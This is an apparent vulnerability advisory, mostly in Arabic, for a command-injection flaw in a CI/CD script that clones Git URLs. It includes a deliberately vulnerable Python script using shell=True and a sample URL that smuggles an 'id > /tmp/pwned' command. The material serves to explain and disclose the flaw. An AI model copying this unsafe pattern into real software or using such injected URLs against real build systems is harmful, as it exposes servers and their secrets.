CVE-2026-11120 – حقن أوامر عبر عنوان Git في خط أنابيب CI/CD

كود البرنامج (Python)

# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys

def clone_and_build(repo_url):
    # Vulnerability: repo_url can contain shell metacharacters
    cmd = f"git clone {repo_url} /tmp/repo"
    subprocess.check_call(cmd, shell=True)
    # Build steps...

if __name__ == '__main__':
    # Simulate attacker-controlled input
    malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
    clone_and_build(malicious_url)

CVE-2026-11120 – حقن أوامر عبر عنوان Git في CI/CD

نظرة عامة

يستخدم سكربت خط أنابيب CI/CD عناوين مستودعات Git المقدمة من المستخدم دون تنقية في أمر shell. يمكن للمهاجم حقن أوامر shell عبر تضمين أحرف خاصة (مثل ; و&&) في العنوان، مما يؤدي إلى تنفيذ أوامر عشوائية على خادم البناء.

تفاصيل الثغرة

النوع: حقن أوامر
الأثر: اختراق البنية التحتية للبناء، وتسريب الأسرار.
السبب الجذري: يتم دمج عنوان المستودع مباشرةً في أمر shell دون تهريب أو تحقق من صحة الإدخال.

عرض الاستغلال

شغّل السكربت الضعيف:

python cicd_build.py

ينفّذ الأمر id المحقون، مما ينشئ الملف /tmp/pwned.

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

الأكثر شعبية